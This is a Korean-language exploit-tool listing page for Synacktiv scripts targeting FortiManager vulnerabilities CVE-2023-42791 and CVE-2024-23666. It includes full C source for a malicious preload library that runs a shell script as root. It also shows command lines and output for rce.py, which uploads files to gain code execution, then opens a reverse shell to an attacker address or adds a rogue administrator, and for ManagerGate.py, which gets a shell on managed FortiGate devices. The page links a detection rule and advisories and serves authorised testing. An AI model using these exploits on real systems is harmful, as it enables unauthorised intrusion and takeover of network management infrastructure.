Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-42791_CVE-2024-23666 — CVE-2023-42791 및 CVE-2024-23666에 대한 익스플로잇 스크립트 | Kitploit
도구/GitHubGitHub/synacktiv/cve-2023-42791_cve-2024-23666
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access Tool

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
synacktiv/cve-2023-42791_cve-2024-23666

CVE-2023-42791_CVE-2024-23666

CVE-2023-42791 및 CVE-2024-23666에 대한 익스플로잇 스크립트

저장소 보기
6231년 전아직 검토되지 않음

Fortimanager 부족한 권한 확인 (CVE-2024-23666) 및 무제한 파일 업로드 (CVE-2023-42791) 악용 스크립트

이러한 취약점을 활용하는 두 가지 악용 스크립트가 제공됩니다:

  • rce.py: 비권한 접근에서 FortiManager로 역방향 셸을 제공하거나 임의의 관리자를 추가합니다.
  • ManagerGate.py: 원격으로 관리되는 FortiGate SSH 서비스에 연결할 수 있습니다. SSH 비밀번호는 여전히 필요하지만 FortiManager 구성 백업에서 찾을 수 있습니다.

자세한 내용은 다음에서 제공되는 관련 권고를 참조하십시오: https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities

사용법

rce.py

/rce.sh를 실행할 악성 라이브러리를 컴파일합니다:

root@kitploit:~
$ cat rce.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    if (getuid() != 0) return 0;
    unlink("/etc/ld.so.preload");
    if (fork() == 0) {
        setgid(0);
        setuid(0);
        system("/bin/bash /rce.sh");
    }
    return 0;
}

$ gcc -fPIC -shared -o rce.so rce.c -nostartfiles

사용법:

root@kitploit:~
$ python3 rce.py -h
usage: rce.py [-h] [-k] [-l LIBRARY] connection {revshell,adduser} ...

positional arguments:
  connection            User, password, and host (user:password@host)

options:
  -h, --help            show this help message and exit
  -k, --insecure        Do not check the remote host certificate (default: False)
  -l LIBRARY, --library LIBRARY
                        Malicious library path (default: /tmp/rce.so)

Action to run:
  {revshell,adduser}
    revshell            Run a Python reverse shell
    adduser             Create a new administrator

역방향 셸을 얻으려면:

root@kitploit:~
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] revshell 10.10.10.100 1234
[+] Login to the FortiManager
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE

FortiManager에 새 관리자를 추가하려면:

root@kitploit:~
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] adduser malicious_adm password
[+] Login to the FortiManager
[+] Uploading /create_user.txt
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE

ManagerGate.py

root@kitploit:~
$ python3 ManagerGate.py -h
usage: ManagerGate.py [-h] -H HOST -u USER -p PASSWORD [-d DEVICEID] [-i TUNNELIP] [-l] [-x PROXY] -U GU [-v VERBOSE]

get a shell on fortigate

options:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  host of the fortimanager
  -u USER, --user USER  user to connect with to the fortimanager
  -p PASSWORD, --password PASSWORD
                        password to connect to the fortimanager
  -d DEVICEID, --deviceid DEVICEID
                        device oid to get shell
  -i TUNNELIP, --tunnelip TUNNELIP
                        tunnel ip of the fortigate
  -l, --local           local connect to fortimanager
  -x PROXY, --proxy PROXY
                        proxy request
  -U GU, --gu GU        user to connect with to the fortigate
  -v VERBOSE, --verbose VERBOSE

예시

root@kitploit:~
$ python3 ManagerGate.py -H 10.0.0.1 -u ReadOnlyUser -p MyPassword123 -d 1011 -i 169.254.0.2   -U root

대상 FortiGate의 장치 OID 및 터널 IP는 FortiManager GUI에서 찾을 수 있습니다.

영향을 받는 버전

  • CVE-2023-42791
    • FortiManager ≤ 7.4.0 ≤ 7.2.3 ≤ 7.0.8 ≤ 6.4.12 ≤ 6.2.11
  • CVE-2024-23666
    • FortiManager ≤ 7.4.2 ≤ 7.2.5 ≤ 7.0.12 ≤ 6.4.14
    • FortiAnalyzer ≤ 7.4.2 ≤ 7.2.5 ≤ 7.0.12 ≤ 6.4.14
    • FortiAnalyzer-BigData ≤ 7.4.0 ≤ 7.2.6 7.0.x 6.4.x 6.2.x

Sigma 탐지 규칙

이러한 악용 스크립트의 사용을 탐지하기 위한 Sigma 탐지 규칙은 Synacktiv의 규칙 저장소에서 확인할 수 있습니다: https://github.com/synacktiv/synacktiv-rules/tree/main/2025/fortimanager

참고 자료

  • https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities
  • https://fortiguard.fortinet.com/psirt/FG-IR-23-189
  • https://fortiguard.fortinet.com/psirt/FG-IR-23-396
도구 다운로드